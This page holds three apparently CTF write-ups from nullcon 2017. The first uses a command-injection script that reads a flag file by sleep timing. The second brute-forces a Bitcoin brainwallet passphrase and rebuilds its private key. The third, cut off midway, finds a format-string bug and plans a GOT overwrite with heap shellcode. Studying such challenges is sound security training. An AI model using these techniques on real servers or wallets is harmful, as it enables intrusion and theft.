<!-- Start of writeup -->
<div class="col-lg-12">
<hr>
<!-- Blog Post -->
<h1>Web300</h1>
<hr>
<!-- Date/Time -->
<p><i class="fa fa-clock-o"></i> Posted on February 13, 2017 at 9:45 AM</p>
<hr>
<p class="lead">http://54.89.146.217/
</p>
<hr>
<p>The challenge provides no hint, just a link to a website. Upon opening up the site you see the following
text: "At your service. Give me command with cmd, sir. You will get me. str(/home/nullcon/flagpart1.txt)
+ str/home/nullcon/flagpart2"</p>
<br/>
<!-- Post Content -->
<p>The text on the site immediately suggests the site may be vulnerable to command injection. Further playing around proved that the site was injectable through a query parameter.</p>
<br/>
<pre><code>
http://54.89.146.217/?cmd=
</code></pre>
<br/>
<p>We were able to get the server to sleep with the bash sleep command but were unable to send/receive any information to/from the server with the likes of netcat, telnet, wget, curl, etc. This led us to believe that a firewall was in place. As a result, we wrote a script to iterate through the ascii character set and sleep when the character in the flag text file was a match.</p>
<br/>
<pre class="prettyprint">
<code class="language-python">
from requests.utils import quote
import time
import unirest
from time import sleep
import string
SLEEP_TIME=1.5
ans = 'flag{'
characters = string.ascii_letters + string.digits
for index in range(1, 100):
for letter in characters:
cmd = '''
python -c "__import__('time').sleep({} if open('/home/nullcon/flagpart1.txt').read({})[-1:] == '{}' else 0)"
'''.format(SLEEP_TIME, index, letter)
start = time.time()
response = unirest.get("http://54.89.146.217/?cmd={}".format(quote(cmd, safe='')))
end = time.time()
elapsed = end - start
if elapsed > SLEEP_TIME:
ans += letter
print ans + '}'
break
</code>
</pre>
<br/>
<p>While inefficient, the script was ultimately successful and produced the following output:</p>
<br/>
<pre><code>
flag{0}
flag{0m}
flag{0mg}
flag{0mgt}
flag{0mgth}
flag{0mgth4}
flag{0mgth4t}
flag{0mgth4ts}
</code></pre>
<br/>
<p>Switching the script to flagpart2.txt we get the remainder of the flag</p>
<br/>
<pre><code>
flag{a}
flag{an}
flag{ani}
flag{anic}
flag{anice}
flag{anicef}
flag{anicefl}
flag{anicefla}
flag{aniceflag}
</code></pre>
<br/>
<h3><b>Flag:</b> flag{0mgth4tsaniceflag}</h3>
</div>
<!-- End of writeup -->
<!-- Start of writeup -->
<div class="col-lg-12">
<hr>
<!-- Blog Post -->
<h1>Crypto100</h1>
<hr>
<!-- Date/Time -->
<p><i class="fa fa-clock-o"></i> Posted on February 21, 2017 at 9:45 AM</p>
<hr>
<img class="lead" src="static/img/cryptopuzzle1.png">
<hr>
<p>The clue is a screenshot of a webpage, called Brainwallet, which contains a patially obscured passphrase <b>8ln********nl8</b> and instructions to "find the private key", as well as a QR-code and a superimposed image of scrambled eggs with the text <b>nullcon8itsgr8</b></p>
<br/>
<!-- Post Content -->
<p>The screenshot is immediately identifiable as a Bitcoin brainwallet generator, which takes a passphrase and generates a Bitcoin private key / address pair. The image of scrambled eggs suggests that the passphrase is a permutation of the string "nullcon8itsgr8", and the partilly unobscured passphrase indicates that the solution begins with "8ln" and ends with "nl8". This leaves us with all of the possible permutations of "ucoitsgr". The 40,320 possible passphrases should be trivial to brute force. </p>
<br/>
<p>First we generate a list of all possible passphrases:</p> <pre class="prettyprint">
<code class="language-python">
from itertools import permutations
f = open("passphrases.txt","w")
for p in permutations("ucoitsgr"):
f.write("8ln"+''.join(p)+"nl8\n")
f.close()
</code>
</pre>
<br/>
<p>Now we need to generate Bitcoin addresses from each of the possible passphrases and see which one matches the address in the picture. We scan the QR code and find that the target address is <b>17iUnGoZbFrGS7uU9z2d2yRT9BKgVqnKnn</b>. To do the actual cracking, we use a tool called <a href="https://github.com/ryancdotorg/brainflayer">brainflayer</a>. First we convert the address from <a href="https://en.bitcoin.it/wiki/Base58Check_encoding">Base58Check</a> encoding to the raw hex using <a href="https://github.com/grondilu/bitcoin-bash-tools">Bitcoin-bash-tools</a>. Then we convert the hex address to a bloom filter and run the tool: </p>
<pre><code>$decodeBase58 17iUnGoZbFrGS7uU9z2d2yRT9BKgVqnKnn > addr.hex
$./hex2blf addr.hex addr.blf
$./brainflayer -b addr.blf -i passphrases.txt
> 49a8ffca38cdd108a25715a3b013e76ff8db39f5:u:sha256:8lnustorcginl8
</code></pre>
<br/>
<p>We now have the passphrase, but we need to convert it into the <a href="https://en.bitcoin.it/wiki/Wallet_import_format"> Wallet Import Format</a>, which is a checksummed, standardized, Base58Check encoded format. We sha256 the passphrase to get the raw private key, compute the checksum and then base58 encode it.</p>
<pre><code>$ HEXKEY=$(echo -n "8lnustorcginl8" | sha256sum -b | head -c 64)
$ CHECKSUM=$(echo -n 80$HEXKEY | xxd -r -p | sha256sum -b | head -c 64 | xxd -r -p | sha256sum -b | head -c 8)
$ echo $(encodeBase58 80$HEXKEY$CHECKSUM)
> 5KjzfnM4afWU8fJeUgGnxKbtG5FHtr6Suc41juGMUmQKC7WYzEG
</code></pre>
<br/>
<h3><b>Flag:</b> flag{5KjzfnM4afWU8fJeUgGnxKbtG5FHtr6Suc41juGMUmQKC7WYzEG}</h3>
</div>
<!-- End of writeup -->
<!-- Start of writeup -->
<div class="col-lg-12">
<hr>
<!-- Blog Post -->
<h1>Exploitation 200</h1>
<hr>
<!-- Date/Time -->
<p><i class="fa fa-clock-o"></i> Posted on February 15, 2017 at 8:00 PM</p>
<hr>
<p class="lead">This is a simple program; there's probably nothing exploitable right? It just works with simple strings!
Exploit the daemon at 34.198.96.6:9001</p>
<hr>
<p>
The program that they provide and that is running on the server is a simple book managing application. You can insert new books, list existing books, search books, and delete books.
Lets play with the program a bit to get a sense of how it works, keeping in mind the hint. This has something to do with strings which suggests we are looking for a buffer overflow
or a format string exploit.
</p>
<pre><code>
Book Manager:
[1] Insert
[2] List
[3] Search
[4] Delete
[5] Exit
Enter choice: 1
Enter book name: fancy book
Enter book id: 0
</code></pre>
<p>
You can insert books, give them a name and an id number. What happens when we list them?
</p>
<pre><code>
Enter choice: 2
[0] fancy book
</code></pre>
<p>
The program just seems to print out a list of books you've previously inserted. What about searching?
</p>
<pre><code>
Enter choice: 3
Search by book_id or name (name:abc, book_id:123)
Enter query: book_id:0
Searching with: book_id:0
��
FOUND
[0] fancy book
</code></pre>
<p>
We can search books either by name or by book_id. Searching for the book id we previously inserted prints out some strange characters. Lets play around with this and see if
there is anything exploitable here. Maybe this is vulnerable to a format string exploit?
</p>
<pre><code>
Enter choice: 3
Search by book_id or name (name:abc, book_id:123)
Enter query: %08x %08x %08x
Searching with: ffce596c 00000400 f77a153c
</code></pre>
<p>
Hey! We managed to print out some values from the stack! We have found a vulnerability. Now we just need to exploit this.
</p>
<p>
Lets open up this program in radare2 to get a better sense of what's happening.
</p>
<pre class="prettyprint">
<code class="language-python">
$ r2 level1.bin
[0x080485c0]> aaaa
[0x080485c0]> is | grep 'bind=LOCAL type=FUNC'
vaddr=0x08048600 paddr=0x00000600 ord=030 fwd=NONE sz=0 bind=LOCAL type=FUNC name=deregister_tm_clones
vaddr=0x08048630 paddr=0x00000630 ord=031 fwd=NONE sz=0 bind=LOCAL type=FUNC name=register_tm_clones
vaddr=0x08048670 paddr=0x00000670 ord=032 fwd=NONE sz=0 bind=LOCAL type=FUNC name=__do_global_dtors_aux
vaddr=0x08048690 paddr=0x00000690 ord=035 fwd=NONE sz=0 bind=LOCAL type=FUNC name=frame_dummy
vaddr=0x080486bb paddr=0x000006bb ord=039 fwd=NONE sz=176 bind=LOCAL type=FUNC name=insert
vaddr=0x0804876b paddr=0x0000076b ord=040 fwd=NONE sz=586 bind=LOCAL type=FUNC name=search
vaddr=0x080489b5 paddr=0x000009b5 ord=041 fwd=NONE sz=252 bind=LOCAL type=FUNC name=delete
vaddr=0x08048ab1 paddr=0x00000ab1 ord=042 fwd=NONE sz=92 bind=LOCAL type=FUNC name=list
vaddr=0x08048b0d paddr=0x00000b0d ord=043 fwd=NONE sz=272 bind=LOCAL type=FUNC name=menu
</code>
</pre>
<p>
Here we have a list of the locally defined functions. This is pretty much what we expected from the functioning of the program.
There seems to be a function for displaying the menu, and then doing all the actions we saw from the program. Let's look at the disassembly of our vulnerable function, search.
</p>
<pre class="prettyprint">
<code class="language-python">
[0x080485c0]> s sym.search
[0x0804876b]> VV
┌───────────────────────────────────────────────┐
│ 0x804899f ;[d] │
│ ; JMP XREF from 0x0804899c (sym.search) │
│ ; JMP XREF from 0x08048979 (sym.search) │
│ ; JMP XREF from 0x080487ae (sym.search) │
│ mov eax, dword [ebp - local_ch] │
│ xor eax, dword gs:[0x14] │
│ je 0x80489b0 ;[z] │
└───────────────────────────────────────────────┘
f t
┌───────────────┘ └───────────────────────┐
│ │
│ │
┌─────────────────────────────────────┐ ┌─────────────────────────────────┐
│ 0x80489ab ;[Ab] │ │ 0x80489b0 ;[z] │
│ call sym.imp.__stack_chk_fail ;[Aa] │ │ mov ebx, dword [ebp - local_4h] │
└─────────────────────────────────────┘ │ leave │
│ ret │
└─────────────────────────────────┘
</code>
</pre>
<p>
The function is long. Above is the final few blocks of the function. These blocks indicate that stack canaries have been enabled and we won't be able to simply smash the stack.
We will have to be a little more creative. We will get control of the instruction pointer by overwriting a value of the Global Offset Table (GOT). Let's choose a function
that's executed in <code>sym.menu</code> so that our exploit is run when the menu is displayed, or after every command.
</p>
<pre class="prettyprint">
<code class="language-python">
[0x0804876b]> s sym.menu
[0x08048b0d]> pdf
┌ (fcn) sym.menu 383
│ sym.menu ();
│ ; var int local_14h @ ebp-0x14
│ ; var int local_10h @ ebp-0x10
│ ; var int local_ch @ ebp-0xc
│ ; CALL XREF from 0x08048c2e (sym.main)
│ 0x08048b0d 55 push ebp
│ 0x08048b0e 89e5 mov ebp, esp
│ 0x08048b10 83ec18 sub esp, 0x18
│ 0x08048b13 65a114000000 mov eax, dword gs:[0x14] ; [0x14:4]=1
│ 0x08048b19 8945f4 mov dword [ebp - local_ch], eax
│ 0x08048b1c 31c0 xor eax, eax
│ 0x08048b1e c745f0000000. mov dword [ebp - local_10h], 0
│ ┌─< 0x08048b25 e9d5000000 jmp loc.08048bff
│ │ 0x08048b2a 83ec0c sub esp, 0xc
│ │ 0x08048b2d 68b38d0408 push str.Book_Manager: ; str.Book_Manager: ; "Book Manager:" @ 0x8048db3 ; const char * s
│ │ 0x08048b32 e819faffff call sym.imp.puts ; int puts(const char *s)
│ │ 0x08048b37 83c410 add esp, 0x10
│ │ 0x08048b3a 83ec0c sub esp, 0xc
│ │ 0x08048b3d 68c18d0408 push str._t_1__Insert ; str._t_1__Insert ; str._t_1__Insert ; const char * s
│ │ 0x08048b42 e809faffff call sym.imp.puts ; int puts(const char *s)
│ │ 0x08048b47 83c410 add esp, 0x10
│ │ 0x08048b4a 83ec0c sub esp, 0xc
│ │ 0x08048b4d 68cd8d0408 push str._t_2__List ; str._t_2__List ; str._t_2__List ; const char * s
│ │ 0x08048b52 e8f9f9ffff call sym.imp.puts ; int puts(const char *s)
│ │ 0x08048b57 83c410 add esp, 0x10
│ │ 0x08048b5a 83ec0c sub esp, 0xc
│ │ 0x08048b5d 68d78d0408 push str._t_3__Search ; str._t_3__Search ; str._t_3__Search ; const char * s
│ │ 0x08048b62 e8e9f9ffff call sym.imp.puts ; int puts(const char *s)
│ │ 0x08048b67 83c410 add esp, 0x10
│ │ 0x08048b6a 83ec0c sub esp, 0xc
│ │ 0x08048b6d 68e38d0408 push str._t_4__Delete ; str._t_4__Delete ; str._t_4__Delete ; const char * s
│ │ 0x08048b72 e8d9f9ffff call sym.imp.puts ; int puts(const char *s)
│ │ 0x08048b77 83c410 add esp, 0x10
│ │ 0x08048b7a 83ec0c sub esp, 0xc
│ │ 0x08048b7d 68ef8d0408 push str._t_5__Exit ; str._t_5__Exit ; str._t_5__Exit ; const char * s
│ │ 0x08048b82 e8c9f9ffff call sym.imp.puts ; int puts(const char *s)
│ │ 0x08048b87 83c410 add esp, 0x10
│ │ 0x08048b8a 83ec0c sub esp, 0xc
│ │ 0x08048b8d 6a0a push 0xa ; int c
│ │ 0x08048b8f e8ecf9ffff call sym.imp.putchar ; int putchar(int c)
│ │ 0x08048b94 83c410 add esp, 0x10
│ │ 0x08048b97 83ec0c sub esp, 0xc
│ │ 0x08048b9a 68f98d0408 push str.Enter_choice: ; str.Enter_choice: ; "Enter choice: " @ 0x8048df9
│ │ 0x08048b9f e84cf9ffff call sym.imp.printf ; int printf(const char *format)
│ │ 0x08048ba4 83c410 add esp, 0x10
│ │ 0x08048ba7 83ec08 sub esp, 8
│ │ 0x08048baa 8d45ec lea eax, [ebp - local_14h]
│ │ 0x08048bad 50 push eax
│ │ 0x08048bae 68f28c0408 push 0x8048cf2 ; const char * format
│ │ 0x08048bb3 e8d8f9ffff call sym.imp.__isoc99_scanf; int scanf(const char *format)
│ │ 0x08048bb8 83c410 add esp, 0x10
│ │ 0x08048bbb 8b45ec mov eax, dword [ebp - local_14h]
│ │ 0x08048bbe 83f806 cmp eax, 6
│ ┌──< 0x08048bc1 773c ja loc.08048bff
│ ││ 0x08048bc3 8b0485088e04. mov eax, dword [eax*4 + 0x8048e08] ; [0x8048e08:4]=0x8048bff loc.08048bff
└ ││ 0x08048bca ffe0 jmp eax
├ loc.08048bff 30
│ loc.08048bff ();
│ ↑ ; var int local_14h @ ebp-0x14
│ ↑ ; var int local_10h @ ebp-0x10
│ ↑ ; var int local_ch @ ebp-0xc
│ ↑ 0x08048bff 837df000 cmp dword [ebp - local_10h], 0
│ └─< 0x08048c03 0f8421ffffff je 0x8048b2a ; sym.menu+0x1d
│ 0x08048c09 90 nop
│ 0x08048c0a 8b45f4 mov eax, dword [ebp - local_ch]
│ 0x08048c0d 653305140000. xor eax, dword gs:[0x14]
│ ┌─< 0x08048c14 7405 je 0x8048c1b
│ │ 0x08048c16 e815f9ffff call sym.imp.__stack_chk_failvoid)
│ └─> 0x08048c1b c9 leave
└ 0x08048c1c c3 ret
</code>
</pre>
<p>
Radare2 denotes imported functions with <code>sym.imp</code>. <code>sym.imp.puts</code> seems as good as any to overwrite. Lets figure out where the GOT entry for this is.
</p>
<pre class="prettyprint">
<code class="language-python">
[0x0804876b]> pdf @ sym.imp.puts
┌ (fcn) sym.imp.puts 6
│ sym.imp.puts ();
└ 0x08048550 ff252cb00408 jmp dword [reloc.puts_44] ; "V...f...v..............." @ 0x804b02c
[0x0804876b]> pv @ reloc.puts_44
0x08048556
[0x0804876b]> pf.obj.value @ reloc.puts_44
0x0804b02c = (octal) 01001102526
0x0804b030 = 0x66
</code>
</pre>
<p>
Radare2 is telling us that <code>sym.imp.puts</code> jumps to the location <code>reloc.puts_44</code> that contains the value <code>0x08048556</code>
The address of <code>reloc.puts_44</code> is <code>0x0804b02c</code>. If we overwrite the value at this address with a pointer to some shellcode, we will have completed the challenge.
So, how do we do this and where will this shellcode come from? If book names are saved on the heap, we can write shellcode to the heap, and redirect execution to that.
Let's look at the disassembly for <code>sym.insert</code> to figure out how books are saved.
</p>
<pre class="prettyprint">
<code class="language-python">
[0x0804876b]> s sym.insert
[0x080486bb]> pdf
┌ (fcn) sym.insert 176
│ sym.insert ();
│ ; var int local_ch @ ebp-0xc
│ ; CALL XREF from 0x08048bcc (unk)
│ 0x080486bb 55 push ebp
│ 0x080486bc 89e5 mov ebp, esp
│ 0x080486be 83ec18 sub esp, 0x18
│ 0x080486c1 83ec0c sub esp, 0xc
│ 0x080486c4 6809040000 push 0x409 ; size_t size
│ 0x080486c9 e872feffff call sym.imp.malloc ; void *malloc(size_t size)
│ 0x080486ce 83c410 add esp, 0x10
│ 0x080486d1 8945f4 mov dword [ebp - local_ch], eax
│ 0x080486d4 837df400 cmp dword [ebp - local_ch], 0
│ ┌─< 0x080486d8 0f848a000000 je 0x8048768
│ │ 0x080486de 83ec0c sub esp, 0xc
│ │ 0x080486e1 68d08c0408 push str.Enter_book_name: ; str.Enter_book_name: ; "Enter book name: " @ 0x8048cd0
│ │ 0x080486e6 e805feffff call sym.imp.printf ; int printf(const char *format)
│ │ 0x080486eb 83c410 add esp, 0x10
│ │ 0x080486ee a14cb00408 mov eax, dword [obj.stdout] ; [0x804b04c:4]=0x3a434347 ; LEA obj.stdout
│ │ 0x080486f3 83ec0c sub esp, 0xc
│ │ 0x080486f6 50 push eax ; FILE *stream
│ │ 0x080486f7 e804feffff call sym.imp.fflush ; int fflush(FILE *stream)
│ │ 0x080486fc 83c410 add esp, 0x10
│ │ 0x080486ff 8b45f4 mov eax, dword [ebp - local_ch]
│ │ 0x08048702 83ec04 sub esp, 4
│ │ 0x08048705 6800040000 push 0x400
│ │ 0x0804870a 50 push eax ; size_t nbyte
│ │ 0x0804870b 6a00 push 0 ; int fildes
│ │ 0x0804870d e8cefdffff call sym.imp.read ; ssize_t read(int fildes, void *buf, size_t nbyte)
│ │ 0x08048712 83c410 add esp, 0x10
│ │ 0x08048715 83ec0c sub esp, 0xc
│ │ 0x08048718 68e28c0408 push 0x8048ce2 ; const char * format
│ │ 0x0804871d e8cefdffff call sym.imp.printf ; int printf(const char *format)
│ │ 0x08048722 83c410 add esp, 0x10
│ │ 0x08048725 a14cb00408 mov eax, dword [obj.stdout] ; [0x804b04c:4]=0x3a434347 ; LEA obj.stdout
│ │ 0x0804872a 83ec0c sub esp, 0xc
│ │ 0x0804872d 50 push eax ; FILE *stream
│ │ 0x0804872e e8cdfdffff call sym.imp.fflush ; int fflush(FILE *stream)
│ │ 0x08048733 83c410 add esp, 0x10
│ │ 0x08048736 8b45f4 mov eax, dword [ebp - local_ch]
│ │ 0x08048739 0502040000 add eax, 0x402
│ │ 0x0804873e 83ec08 sub esp, 8
│ │ 0x08048741 50 push eax
│ │ 0x08048742 68f28c0408 push 0x8048cf2 ; const char * format
│ │ 0x08048747 e844feffff call sym.imp.__isoc99_scanf; int scanf(const char *format)
│ │ 0x0804874c 83c410 add esp, 0x10
│ │ 0x0804874f 8b1554b00408 mov edx, dword [obj.book_list] ; [0x804b054:4]=0x75746e75 ; LEA obj.book_list
│ │ 0x08048755 8b45f4 mov eax, dword [ebp - local_ch]
│ │ 0x08048758 899004040000 mov dword [eax + 0x404], edx
│ │ 0x0804875e 8b45f4 mov eax, dword [ebp - local_ch]
│ │ 0x08048761 a354b00408 mov dword [obj.book_list], eax ; [0x804b054:4]=0x75746e75 ; LEA obj.book_list
│ ┌──< 0x08048766 eb01 jmp 0x8048769
│ │└─> 0x08048768 90 nop
│ │ ; JMP XREF from 0x08048766 (sym.insert)
│ └──> 0x08048769 c9 leave
└ 0x0804876a c3 ret
</code>
</pre>
<p>
Let's step through this to understand what's happening.
</p>
<pre class = "prettyprint">
<code class = "language-python">
push 0x409 ; size_t size
call sym.imp.malloc ; void *malloc(size_t size)
add esp, 0x10
mov dword [ebp - local_ch], eax
cmp dword [ebp - local_ch], 0
</code>
</pre>
<p>
The program is allocating space on the heap and putting the address in <code>eax</code>.
This address is then saved on the stack at a position radare2 is calling <code>local_ch</code>.
</p>
<pre class = "prettyprint">
<code class = "language-python">
push str.Enter_book_name: ; str.Enter_book_name: ; "Enter book name: " @ 0x8048cd0
call sym.imp.printf ; int printf(const char *format)
add esp, 0x10
mov eax, dword [obj.stdout] ; [0x804b04c:4]=0x3a434347 ; LEA obj.stdout
sub esp, 0xc
push eax ; FILE *stream
call sym.imp.fflush ; int fflush(FILE *stream)
add esp, 0x10
mov eax, dword [ebp - local_ch]
sub esp, 4
push 0x400
push eax ; size_t nbyte
push 0 ; int fildes
call sym.imp.read ; ssize_t read(int fildes, void *buf, size_t nbyte)
</code>
</pre>
<p>
The program prints <code>"Enter book name: "</code>. Then the address of the heap that the program saved earlier is loaded back into <code>eax</code> and then
passed as a parameter to <code>sym.imp.read</code>. This means that the program name is written to the heap just as we had hoped! We will be able to insert our shellcode here!
Now we just need to leak the heap address using the format string vulnerability that we discovered earlier. To figure out how to do this, lets load this program into <code>gdb</code>
(I'm using the the fantastic peda gdb plugin).
Let's set a breakpoint in the insert method where the heap address is moved into <code>local_ch</code> and then another one in the search method right before the vulnerable
<code>printf</code> so that we can examine the stack at this point and figure out where the heap address is at this point.
</p>
<pre class = "prettyprint">
<code class = "language-python">
$ gdb level1.bin
gdb> b *0x080486d1
Breakpoint 1 at 0x80486d1
gdb> b *0x080487f5
Breakpoint 2 at 0x80487f5
</code>
</pre>
<p>
Now let's run the program.
</p>